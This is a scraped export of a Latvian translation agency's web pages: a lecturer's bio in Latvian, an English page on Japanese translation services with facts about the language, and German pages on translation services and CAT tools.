Lingita Lina Henritiusa (ex. Bopulu) ir pieredzējusi latviešu valodas skolotāja un pasniedzēja, pieredzi ieguvusi, strādājot ar bērniem, jauniešiem un pieaugušajiem gan Latvijā, gan ārpus Latvijas – Zviedrijā un ASV, nodrošinot pilnvērtīgu latviešu valodas apguvi arī ārzemēs esošajiem latviešiem, respektīvi, diasporai, kā arī citiem interesentiem. Pašlaik studē Latvijas Universitātes doktorantūras studiju programmā “Valodu un kultūru studijas”. Par jautājumiem, kas skar iekļaujošu valodu ir uzstājusies dažādās starptautiskās konferencēs, tostarp Jeila Universitātē (ASV) 2024. gada vasarā, prezentācijas tēma: “Times Change – Language Changes: the Role of Politically Correct Language in Modern Latvian Society” (Laiki mainās – mainās valoda: politkorektas valodas nozīme mūsdienu latviešu sabiedrībā). 2025. gada janvārī lektores stāsts vieglajā valodā par identitātes meklējumiem un aicinājumu nespriest par citiem cilvēkiem, ņemot vērā tikai viņu izcelsmi, valodu vai reliģiju, tādā veidā veicinot vienlīdzību sabiedrībā, ir nopublicēts izdevniecības "Valters un Rapa" grāmatā "Stāsti vieglajā valodā 2". --- > We translate and interpret texts into Japanese. We’re quick – free quotes available in only 15 minutes! Contact us! - Published: 2025-01-23 - Modified: 2025-01-23 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-japanu-valoda/ - Translation Priorities: Optional TRANSLATIONS INTO JAPANESE / TRANSLATE INTO JAPANESE HOW MUCH DO JAPANESE TRANSLATIONS COST? The price for translations into and from Japanese is set individually for each order. Several aspects are taken into account when setting the price – the price for consecutive interpretation and simultaneous interpretation is based on time, location, travel expenses, daily allowance, technical support in simultaneous interpretation, number of interpreters, etc. The price of written translations is determined by the volume of the material to be translated, translation deadlines, the complexity of the text content, repetitions in the text, graphic processing and formatting, proofreading, the editor’s fee, as well as other additional services chosen by the client. IS THERE A PRICE LIST FOR TRANSLATIONS? Yes, the price list for both translation and interpretation (simultaneous and consecutive), localisation and adaptation services from and into Japanese is an integral part of our cooperation agreement with our clients. Skrivanek Baltic translation project managers always provide detailed information on the price of a translation before starting each new translation project. The quotation is usually ready within 30 minutes. For written works, the number of words in the source text, repetitions, complexity of graphic elements and other parameters are taken into account when setting the price. In order to receive a quote, send the translation material to our email. SOLUTIONS, WHICH WE MOST OFTEN PROVIDE IN JAPANESE: translation of various documents into Japanese; urgent translations; notarised translation; website translation; proofreading of Japanese texts; adaptation of texts and production of creative texts; DTP – graphic design services; Japanese interpretation; Individual Japanese language courses. Quality and confidentiality guaranteed by ISO certificatesOur project managers speak Latvian, Russian, English, German and Polish99% of customers receive a quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of customers would gladly recommend us to their friends and partnersMore than 16 million words are translated in our office each year Looking for language solutions in Japanese? Contact us! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation now! TRANSLATIONS INTO JAPANESE / TRANSLATE INTO JAPANESE HOW MUCH DO JAPANESE TRANSLATIONS COST? The price for translations into and from Japanese is set individually for each order. Several aspects are taken into account when setting the price – the price for consecutive interpretation and simultaneous interpretation is based on time, location, travel expenses, daily allowance, technical support in simultaneous interpretation, number of interpreters, etc. The price of written translations is determined by the volume of the material to be translated, translation deadlines, the complexity of the text content, repetitions in the text, graphic processing and formatting, proofreading, the editor’s fee, as well as other additional services chosen by the client. IS THERE A PRICE LIST FOR TRANSLATIONS? Yes, the price list for both translation and interpretation (simultaneous and consecutive), localisation and adaptation services from and into Japanese is an integral part of our cooperation agreement with our clients. Skrivanek Baltic translation project managers always provide detailed information on the price of a translation before starting each new translation project. The quotation is usually ready within 30 minutes. For written works, the number of words in the source text, repetitions, complexity of graphic elements and other parameters are taken into account when setting the price. In order to receive a quote, send the translation material to our email. SOLUTIONS, WHICH WE MOST OFTEN PROVIDE IN JAPANESE: translation of various documents into Japanese; urgent translations; notarised translation; website translation; proofreading of Japanese texts; adaptation of texts and production of creative texts; DTP – graphic design services; Japanese interpretation; Individual Japanese language courses. Looking for language solutions in Japanese? Contact us! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation now! INTERESTING FACTS ABOUT THE JAPANESE LANGUAGE The origins of the Japanese language are still uncertain, as are those of the Japanese people themselves. Japanese is believed to have evolved from Altaic and Austronesian. It is an isolated language, although there are theories that it may also be related to Korean. The global importance of the Japanese language is linked to the highly developed Japanese economy. The Japanese have two names for their language – the most common name is nihongo, which is literally translated as “Japanese”, but kokugo, meaning “national language”, is also often used. The legal status of Japanese is not regulated, however, it actually functions as the national language of Japan. Japanese is traditionally divided into three dialects: eastern, western and Kyushu. They include more than 100 regional variations, depending on the classification. The Eastern dialect is a Tokyo-area dialect that was created as a blend of literary language and several dialects and is actually considered the foundation for standard Japanese. In addition to the three dialects, there is also a separate Ryūkyū dialect spoken on the southern islands of Okinawa. Due to its geographical and 450-year political separation from the rest of Japan, as well as its considerable distinction from other dialects, Ryūkyū can be considered a separate language. The need for a Japanese literary language arose in the second half of the 19th century, with the onset of westernisation and the emergence of a centralised state. Due to the 1872 administrative reform, there were 261 feudal units throughout Japan, and the process of standardising the language included the equalisation of dialects. It also sought to reduce the split between the written and spoken language that had developed over the centuries. In fiction, newspapers and business texts, a new style of language was sought. Under the influence of Western European sciences and culture, many new works were created, including abstract words and scientific terms, sometimes calqued from Western European languages. The speed of spoken syllables in Japanese is almost eight syllables per second. It surpasses Spanish, French and Italian in pronunciation fluency. In fact, Japanese is considered one of the most unique languages in the world, with no direct derivative language from which it has descended. Other such examples include Sumerian, Korean and many Amerindian languages. There is no plural in Japanese. In Japanese, there is no difference between “there is an interpreter” and “there are interpreters”, so it can be difficult to tell whether someone is saying that one interpreter has come to see you or that there’s a team of interpreters. The famous cherry blossom season is very important in Japan – it’s not just about taking selfies and flower pictures on Instagram. Sitting under cherry trees is another age-old tradition. Families and friends gather for a picnic during full bloom and reflect on the impermanence and beauty of life. Everyone knows that video games are popular in Japan – Japan is home to console and games giants such as Nintendo, Sega and PlayStation. Some of the first games to enter the Western world came directly from Japan – the Super Mario series, The Legend of Zelda and, most popularly , Pokémon. Probably, the most obvious fact about Japanese culture is the regular bowing, or ojigi. Whether it’s a wave to a store clerk or a deep bow to the boss at work, it’s actually the most important gesture in Japanese body language. The number of times you bow and the depth of it show your respect for the person you are bowing to. Even friends in Japan bow to each other! One of Japan’s best-known cultural exports, anime, is recognised worldwide. Anime is the name given to Japanese animation that is either hand-drawn or digitally produced. Although Japanese anime accounted for 60% of global animation in 2016, its biggest influence has been on contemporary Japanese culture. If you’re travelling around the country, look out for anime statues, snacks in themed packaging and advertisements for anime characters. Japan has many interesting food traditions, but slurping noodles is one of the most fun. When Japanese diners slurp their noodles loudly, it is considered both a sign of enjoyment and a compliment to the chef. So next time you order ramen or yakisoba in Japan, feel free to slurp to your heart’s content. Health is important to Japanese culture, and the country’s tradition of morning exercise reflects this. Radio Taiso, introduced by Emperor Hirohito, is a radio exercise programme that has been broadcast daily since 1928 – it is played every morning for 10 minutes and is mostly followed by schoolchildren and the elderly. JAPANESE SCRIPTS Japanese scripts are the scripts used to write text in Japanese. There are two phonetic alphabets (hiragana and katakana), as well as a character system called kanji, which is derived from the Chinese script. Kanji (kan – (Han dynasty), ji – characters; literally “Han characters”) are Chinese characters used in modern Japanese writing, along with hiragana and katakana syllabic characters. Chinese hieroglyphics came to Japan with market goods – mirrors, swords, seals, coins, etc. Hieroglyphs often have several possible pronunciations, usually depending on the context. The number of Kanji characters could be around 50 000, each with its own meaning. These hieroglyphs are very complex, with some words being spelled in several hieroglyphs. Hiragana and katakana were created to ease the complex writing of Chinese characters. For example, the word “I” can be written 私 in kanji, わたし in hiragana, and ワタシ in katakana. Hiragana is a Japanese syllabic alphabet (each symbol represents a syllable, not a sound), and is one of the Japanese writing systems, along with katakana and kanji. The Hiragana alphabet has 46 symbols (plus some obsolete ones). Together, hiragana and katakana form the kana system, in which a single mark expresses one mora (a phonological unit smaller than a syllable, the number of which in a syllable determines the length of the syllable). Katakana is the other one of the two syllable writing systems in Japanese. Unlike hiragana, which is widely used to add endings to words written in kanji to clarify the pronunciation of kanji, or to write words that do not have their own kanji, katakana has a more specific use; it is used: in the rendering of foreign proper nouns; to show onomatopoeia; animal and plant names in scientific texts; for stylistic purposes. This transcription is also used in the Department of Asian Studies at the University of Latvia. This system is used to represent Japanese words in non-academic texts and Japanese personal names, places, etc. in all texts. This transcription has no official status and may change over time. The three writing systems are used together to write Japanese, sometimes even in the same sentence. Kanji is combined with hiragana to form words and sentences, while katakana is used for foreign words and to add emphasis. HOW DIFFICULT IS JAPANESE? Japanese might be one of the world’s most difficult languages to learn. However, this has not stopped people from trying to learn it. From films and music to video games and anime, the world of Japanese media has constantly been in the global spotlight, and more and more young people are becoming interested in learning Japanese, so if you want to be a secret spy whose Japanese sounds like your mother tongue, you’ll probably need thousands of hours to learn it, but to be able to speak Japanese independently (roughly at B2 level), you will need at least 88 weeks of training. Students of Japanese say that it will take 800 lessons to be able to watch an anime and fully understand it. WHERE IS JAPANESE SPOKEN AND HOW MUCH? The number of Japanese speakers is around 140 million, almost the same as the population of Japan. It is the mother tongue of around 125 million people, and these figures rank Japanese 9th in the world. Most Japanese speakers live in Japan. It is also spoken in areas that were once under the Japanese Empire – Korea, the Republic of China, and parts of the People’s Republic of China. There are also large communities of Japanese speakers in other countries, the largest being in California, Brazil, Peru and Hawaii. JAPANESE TRANSLATOR AND INTERPRETER The Skrivanek Baltic team of professional translators and interpreters provide translations of standard documents, complex technical translations into Japanese and notarised translations into and from Japanese. Skrivanek Baltic also provides proofreading and the stylistic improvement of Japanese texts. Of course, language experts can also provide information on cultural differences, Japanese business etiquette, history and traditions. For business clients, our most common translations into and from Japanese include website and e-commerce content translations, advertising slogan adaptations, translations of cooperation agreements, legislation, court rulings and business documentation. We also provide consecutive translation into and from Japanese for business or other conversations, conferences and other events, as well as online on Zoom and other online platforms. For individuals, we translate identity documents, marriage certificates, children’s birth certificates, education documents, passports, medical documents, etc. into Japanese. JAPANESE FOR BUSINESS Although China has outpaced Japan in recent years, Japan’s economy is still growing at a fast rate. The fact that Japanese is the mother tongue of around 125 million people makes it one of the most spoken languages in the world. For this and other reasons, knowing Japanese would be very valuable and useful, especially for entrepreneurs working in the automotive, communications or financial sectors. Japan is the world’s third largest car manufacturer and one of the world’s largest producers of mobile technology. According to FORBES, Japan is home to some of the world’s most powerful companies – Mitsubishi, Softbank, NTT, KDDI and others. The Japanese are active travellers – if you want to develop a tourism business targeting Japanese people, Japanese language skills will be of great value. Japanese is the only official language in the country. Since the Second World War, all Japanese have learnt English at school, and more and more people speak English. However, very few Japanese speakers are fluent in English; it is mainly scientists, businessmen and employees of various companies who are hired by Japanese companies as interpreters or English-speakers, as they will always be needed in a business environment. In particular, you should take into account the fact that the Japanese are too polite to tell you when they don’t fully understand something you’re saying. It is therefore advisable to submit your business proposal in written form to your potential business partner before the meeting. Japanese language skills and knowledge of business etiquette will be highly appreciated by the Japanese and will certainly open up business opportunities in this surprising, interesting and economically rich country. Japanese is largely unused outside Japan and therefore has little relevance in the global business market. LATVIA – JAPAN COOPERATION Japan is Latvia’s 30th most important export trading partner and the 35th most important import trading partner. In 2019, the balance of trade in goods was positive at around € 27 million. Latvia’s main export product groups are wood and wood products, optical appliances and machines, watches and musical instruments, and mineral products. The main groups of goods imported from Japan are machinery, mechanical and electrical equipment, plastic products and transport equipment. Latvia and Japan have enjoyed excellent scientific cooperation for many years. The Latvian Institute of Organic Synthesis cooperates with Japanese pharmaceutical companies in drug development, and makes regular visits to various Japanese universities. The Institute of Solid State Physics at the University of Latvia cooperates with Japanese colleagues as well. Interestingly, Grindex started working with Taiho Pharmaceutical and Iskra Industry in 1965, and in 1972 signed a contract to supply Tegafur, an original anti-cancer pharmaceutical active ingredient, developed by Grindex, to Japan. Over the years, the Latvian company has gained recognition in the Japanese market, which highly values quality. One hundred kilograms of Tegafur are exported to Japan every month, accounting for about 5% of Grindeks’ total turnover. Cooperation in the field of Education is also important and constant. Since 1993, the Japanese Language and Culture High School in Riga has been an important centre for the promotion of Japanese language and cultural heritage in Latvia. In September 2001, the Japanese Language and Culture High School was merged with the Christian High School and renamed Riga Culture Secondary School. Japanese is included in the curriculum and is taught by Japanese teachers. GENGO is a Japanese language and culture studio accredited by the Ministry of Education and Science in Riga, offering Japanese language classes for people of all ages. The studio also publishes Japanese language teaching materials and dictionaries. The Faculty of Humanities at the University of Latvia has a sub-programme on Japanese Studies in its Asian Studies programme – find more information here. Japanese students can apply for scholarships to study in Latvia both within the framework of cooperation agreements between universities and individually. Several students at the University of Latvia continue their studies by earning a master’s degree in Japanese universities, and also go to Japan to improve their Japanese language skills. The number of students who receive scholarships to continue their studies in Japan each year is usually 2–6. It is important for Latvia to continue its successful cooperation with Japan as a country that honours cultural traditions. Given the fact that both Latvia and Japan have a rich cultural heritage, cooperation and exchange programmes between cultural and educational institutions in both countries are being developed – for example, Latvian artists regularly appear at various festivals and competitions in Japan or tour the country. SOLUTIONS, WHICH WE MOST OFTEN PROVIDE IN JAPANESE: translation of various documents into Japanese; urgent translations; notarised translation; website translation; proofreading of Japanese texts; adaptation of texts and production of creative texts; DTP – graphic design services; Japanese interpretation; Individual Japanese language courses. JAPANESE LANGUAGE COMBINATIONS: Japanese-Latvian; Latvian-Japanese; Japanese-Lithuanian; Lithuanian-Japanese; Estonian-Japanese; Japanese-Estonian; Japanese-Egyptian; English-Japanese; Japanese-English; Russian-Japanese; Japanese-Russian; Polish-Japanese; Japanese-Polish; Ukrainian-Japanese; Japanese-Ukrainian; Czech-Japanese; Japanese-Czech; German-Japanese; Japanese-German; Spanish-Japanese; Japanese-Spanish; French-Japanese; Japanese-French; Italian-Japanese; Japanese-Italian; Danish-Japanese; Japanese-Danish; Swedish-Japanese; Japanese-Swedish; Norwegian-Japanese; Japanese-Norwegian; Finnish-Japanese; Japanese-Finnish; Japanese-Finnish, etc. --- > Seit mehr als 30 Jahren auf dem Markt! Wir übersetzen Dokumente nahezu jeder Art und jedes Formats. Erhalten Sie ein kostenloses Angebot innerhalb von 15 Minuten! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/ - Translation Priorities: Optional BENÖTIGEN SIE ÜBERSETZUNGSDIENSTLEISTUNGEN? WIR SIND IHNEN GERNE BEHILFLICH! Erfahrung und Zuverlässigkeit - Skrivanek ist ein Sprachdienstleister mit mehr als 30 Jahren Erfahrung. Wir bieten professionelle Sprachdienstleistungen sowohl für Unternehmen als auch für Privatpersonen an. Unterstützung von Großformaten wie - pdf, jpg, idml, json oder html - wir können alles formatieren. Mit Hilfe unserer DTP - Desktop-Publishing-Spezialisten bieten wir Textverarbeitung in verschiedenen Dateierweiterungen. Sie müssen sich also nicht um die Bearbeitung Ihrer Dokumente kümmern. große Sprachenvielfalt - mehr als 110 Sprachen verfügbar - alle Übersetzungen werden von einem einzigen Unternehmen angeboten. Sie müssen sich nicht nach anderen Übersetzungsbüros umsehen, um Ihr Projekt zu erledigen. Schnelles Online-Angebot - Sie müssen nicht stundenlang auf ein Angebot warten. Wir unterbreiten Ihnen innerhalb von 15 Minuten ein Angebot. Sie können jederzeit eine Online-Beratung buchen. Dort können wir Ihnen ein detailliertes Angebot unterbreiten und auf Ihre Fragen eingehen. ARTEN UND FEINHEITEN DER ÜBERSETZUNG GROSSE SPRACHAUSWAHL Der Vorteil unseres Übersetzungsbüros ist eine sehr breite Palette von Sprachkombinationen. Mit einem internationalen Team von Übersetzern und Korrekturlesern können wir Ihren Text in jede gewünschte Sprache übersetzen. ERFAHRENE LINGUISTEN UND EXPERTEN AUF DIESEM GEBIET Unsere langjährige Erfahrung hat in unserem Übersetzungsbüro sowohl erfahrene Linguisten als auch Spezialisten in verschiedenen Bereichen zusammengeführt. So können wir gewährleisten, dass Ihr Text kompetent übersetzt und korrigiert wird, auch wenn er eine sehr spezielle Terminologie enthält. Die Zertifizierung nach EN 17100 zeigt, dass unser Unternehmen die geforderten Anforderungen in Bezug auf die Auswahl der Fachleute, die Kommunikation, das Projektmanagement, den Arbeitsablauf, den Einsatz von Technologie und andere branchenspezifische Merkmale erfüllt. MASCHINELLE ÜBERSETZUNG Um die Qualität und Geschwindigkeit des Übersetzungsprozesses zu verbessern, verwenden wir moderne Übersetzungstechnologien, wie z. B. die maschinelle Übersetzung. Die maschinelle Übersetzung hat einen weiten Weg zurückgelegt und erspart uns viel Zeit, ohne dass der zu übersetzende Text an Lesefluss und Klarheit verliert. Skrivanek hat sein eigenes neuronales maschinelles Übersetzungssystem entwickelt - Skrivanek NMT. Darüber hinaus arbeiten wir mit großen NMT-Dienstleistern wie Google und DeepL zusammen - hauptsächlich in Sprachen, für die wir noch keine eigene maschinelle Übersetzung entwickelt haben. Wir können, falls notwendig, das NMT-System für Übersetzungen in Ihrem Bereich anpassen. Wir wurden nach ISO 18587 zertifiziert, in welcher die Anforderungen an ein vollständiges menschliches Nachbearbeiten und die Kompetenzen von Korrekturlesern für maschinelle Übersetzungen definiert werden. DATENSCHUTZ Wir versichern den Datenschutz unserer Kunden. Das ISO/IEC 27001:2022 Informationssicherheitsmanagementsystem (ISMS) garantiert, dass unser Unternehmen Maßnahmen zur Informationssicherheit ergreift. Es sieht auch die notwendigen Kontrollen vor, um die Sicherheit und Vertraulichkeit der uns vom Kunden anvertrauten Daten zu gewährleisten. INDIVIDUELLES VORGEHEN Wir gehen auf jeden Kunden und jedes Projekt individuell ein. Wir arbeiten mit Texten in verschiedenen Formaten, finden den richtigen Übersetzer für Ihr Fachgebiet und führen ein umfassendes Lektorat durch. EINE RUNDUM AGENTUR Unsere Stärke sind Übersetzungen, egal in welchem Bereich: Fachübersetzungen, allgemeine Übersetzungen, beglaubigte Übersetzungen oder Lokalisierung von Übersetzungen. Mit unserem erfahrenen Team können wir Ihnen alle Übersetzungsdienstleistungen anbieten, die Sie benötigen. VERWALTUNG GROSSER PROJEKTE Bei Skrivanek übernehmen wir gerne die Übersetzung von Großprojekten. Wir helfen Ihnen auch gerne bei größeren, langfristigen Projekten, z. B. bei sehr langen oder technischen Übersetzungen. Für unsere Kunden haben wir erfolgreich Tausende von Seiten von Ausschreibungsunterlagen oder Materialien für Gerichtsverfahren übersetzt, bei denen es darauf ankommt, die Fallart, den Streitfall und die jeweiligen Gesetze zu verstehen, um Genauigkeit zu gewährleisten. WAS KOSTET EINE ÜBERSETZUNG? Sobald Sie eine Übersetzungsanfrage gestellt haben, senden wir Ihnen innerhalb von 30 Minuten ein Angebot zu. Der Preis für eine Übersetzung richtet sich nach der Anzahl der Wörter, der Sprachkombination, der Besonderheit des Textes usw. Die Übersetzungen beinhalten auch eine sprachliche Korrektur durch den Muttersprachler der Zielsprache. Für einen genaueren Kostenvoranschlag senden Sie uns bitte das zu übersetzende Dokument und wir werden für Sie den Preis berechnen. Die Übersetzer unseres Übersetzungsbüros arbeiten mit Dokumenten jeglicher Formate. WIE LANGE DAUERT EINE ÜBERSETZUNG? Unsere Dienstleistung umfasst eine Übersetzung und Korrekturlesen durch einen Muttersprachler. Wir vereinbaren mit Ihnen einen individuellen Termin, bevor wir mit der Übersetzung beginnen, aber normalerweise kann ein Text von 500 Wörtern innerhalb eines Arbeitstages geliefert werden. Für einen Text von 1000 Wörtern sollten Sie mindestens eineinhalb Arbeitstage einplanen. Mit mehr als 3000 qualifizierten Übersetzern in unserer Datenbank können wir Übersetzungen in jeder Sprache innerhalb eines angemessenen Zeitrahmens liefern. Wir nehmen auch Eilaufträge an. Bei Eilaufträgen vereinbaren wir den Termin mit Ihnen gesondert, aber der Preis für eine dringende Übersetzung wird höher ausfallen. Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99 % der Kunden erhalten ein Preisangebot in weniger als 15 Minuten SUCHEN SIE NACH ÜBERSETZUNGSDIENSTLEISTUNGEN ODER BERATUNG? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! FACHÜBERSETZUNGEN Die Verwendung der Fachterminologie ist entscheidend. Aus diesem Grund verfügen unsere Übersetzer nicht nur über eine philologische Ausbildung und die neuesten technologischen Entwicklungen, sondern auch Fachwissen in den Bereichen Medizin, Recht, Ingenieurwesen und anderen Fachgebieten, um die besten Ergebnisse zu liefern. Mehr erfahren ALLGEMEINE ÜBERSETZUNGEN Beim Übersetzen geht es nicht einfach nur darum, Wörter zu übersetzen, sondern darum, den Ausgangstext in eine andere Sprache zu übertragen, ohne dass sein Sinn verloren geht. Wir bieten schnelle Übersetzungen von Dokumenten, die keine fachspezifischen Kenntnisse erfordern. Kontaktieren Sie uns NOTARIELLE BEGLAUBIGUNG Wir liefern notariell beglaubigte Übersetzungen als Ergänzung zu den Originalen und Kopien der Dokumente gemäß den Rechtsvorschriften der Republik Lettland. Die Richtigkeit, Genauigkeit und Konformität der Dokumente wird von einem vereidigten Notar überprüft, während ein vereidigter Übersetzer die volle Verantwortung für die Qualität der Übersetzungen übernimmt. Mehr erfahren LOKALISIERUNG Wir liefern nicht nur Übersetzungen, sondern sorgen auch dafür, dass die lokalisierten Produkte und die Software gut funktionieren. Mehr erfahren --- > Übersetzungstools (CAT) sind spezielle Software für Übersetzer, die Qualität und Produktivität verbessern sollen. Lesen Sie mehr über die Vorteile von Übersetzungstools! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/tulkosanas-riki/ - Translation Priorities: Optional WAS SIND TRANSLATION-MEMORY-PROGRAMME (COMPUTERGESTÜTZTE ÜBERSETZUNG ODER CAT)? Auch wenn Computer einen Meilenstein in ihrer Entwicklung hinter sich haben, können sie nicht mit der Übersetzung eines Menschen mithalten. In den letzten Jahrzehnten wurden jedoch zunehmend nützliche "computergestützte Übersetzungen" (CAT) oder "intelligente Übersetzungsprogramme" entwickelt. Diese Programme wurden nicht geschaffen, um Übersetzer zu ersetzen, sondern um mit ihnen zusammenzuarbeiten und die Geschwindigkeit und Qualität der Übersetzungen zu verbessern. Die Arbeit mit Translation-Memory-Programmen ist heute eine Selbstverständlichkeit für Übersetzer und noch mehr für Übersetzungsunternehmen. Diese Tools helfen, die Arbeit besser, schneller und präziser zu erledigen! Man darf jedoch nicht vergessen, dass CAT-Programme keine automatisierten Übersetzungsprogramme sind, sondern Hilfsmittel für qualifizierte Übersetzer, Lektoren und Korrekturlesern bei ihrer täglichen Arbeit. CAT-Tools können für die meisten Übersetzungsprojekte eingesetzt werden. Translation-Memory-Programme: helfen bei der Erstellung einer präzisen und vom Kunden genehmigten Terminologie und unternehmensspezifischer Konzepte für jeden einzelnen Kunden oder jedes einzelne Projekt; stellen die Katalogisierung von Wiederholungen sicher, um den Kunden immer bessere Übersetzungen zu liefern; spart Zeit und Kosten bei der Übersetzung. CAT-Tools funktionieren jedoch nicht immer. Zum Beispiel: wenn der Text handschriftlich ist; wenn das Translation-Memory-Programm keine Verbindung zu der vom Kunden bereitgestellten Textdatei herstellen kann; wenn das zu übersetzende Dokument schwer lesbar oder unlesbar ist (z. B. gescannte Dateien im PDF-Format). Bei der Verwendung von CAT-Tools werden die Kosten für die Übersetzung basierend auf eine vorherige Analyse des Dokuments berechnet. Bei der Analyse werden Textwiederholungen sowie teilweise oder vollständige Übereinstimmungen mit dem vorhandenen Translation Memory ermittelt. Diese Übereinstimmungen werden also im Grunde auf Satzbasis und nicht wortweise ermittelt. Das bedeutet, dass das gesamte Dokument Satz für Satz analysiert und mit den anderen Sätzen des Dokuments sowie mit allen vorhergehenden Sätzen, die im Translation Memory gespeichert sind, verglichen wird. Wiederholungen sind Sätze, die mindestens zweimal in einem Dokument vorkommen. Wenn dieser Satz einmal übersetzt ist, muss er nicht noch einmal übersetzt werden. Die Erfahrung zeigt, dass diese Art von wiederholten Satzstrukturen am häufigsten in Handbüchern, Jahresberichten, Verträgen, Beipackzettel für verschreibungspflichtige Medikamente und anderen standardisierten Texten zu finden sind. Auch Wiederholungen werden auf ihre Kompatibilität hin analysiert. Wenn Sie beispielsweise Übersetzungen für Broschüren mit verschreibungspflichtigen Medikamenten benötigen, werden bei der Übersetzung mit den CAT-Tools Sätze wiedergegeben, die bereits übersetzt wurden und sich wiederholen. In diesen Fällen müssen diese Texte nicht erneut übersetzt werden, sondern werden als Übersetzungen auf der Grundlage des vorhandenen (und vom Kunden genehmigten) Translation Memory angeboten. So lassen sich Dokumente schneller, konsistenter und kostensparender übersetzen. Translation-Memory-Programme sind nützliche Hilfsmittel für juristische und wirtschaftliche standardisierte Texte (Jahresberichte) sowie für technische Texte (technische Berichte, Anleitungen, Benutzerhandbücher) und Beipackzettel für verschreibungspflichtige Medikamente. CAT-Tools eignen sich auch für die Übersetzung von Webseiten-Inhalte, da sie mit XML, HTML und anderen Formaten der Internetplattform arbeiten. Translation-Memory-Programme können den Arbeitsprozess mit Texten aus einer Vielzahl anderer Bereiche vereinfachen, insbesondere wenn der Kunde weiß, dass diese oder eine ähnliche Terminologie auch in Zukunft verwendet werden wird. Automatisierte Übersetzungsprogramme wurden entwickelt, um die Bedeutung eines Wortes, Satzes oder einer Phrase so schnell wie möglich zu erfassen. Dies geschieht durch Eingabe eines Textes in eine Programmoberfläche. Die gängigsten automatischen Übersetzungsprogramme (auch bekannt als maschinelle Übersetzungsprogramme) sind: Pragma, Promt und Google Translate. Da Sprache etwas sehr Spezifisches ist und eine dem Menschen eigene Form der Kommunikation darstellt, sind die bestehenden automatischen Übersetzungsprogramme nur selten in der Lage, angemessene Übersetzungen zu liefern. Deswegen verwenden professionelle Übersetzer und Sprachdienstleister solche Programme nicht. WELCHE SIND DIE GÄNGIGSTEN CAT-PROGRAMME, DIE WIR VERWENDEN? Die derzeitigen weltweiten Vorreiter sind: Memsource; SDL Trados; Across; Transit NXT; Wordfast Pro; MemoQ; Crowdin; usw. SIE BENÖTIGEN EINE ÜBERSETZUNG? SUCHEN SIE EINE SPRACHLÖSUNG ODER BERATUNG? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Anfrage senden SEIT MEHR ALS 25 JAHREN AUF DEM MARKT! Wir haben große Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2023 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Wir lokalisieren Ihre Webseite nach SEO-Grundsätzen und passen sie an GoogleAds an, damit alle Ihre potenziellen Kunden Sie leichter finden können! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: 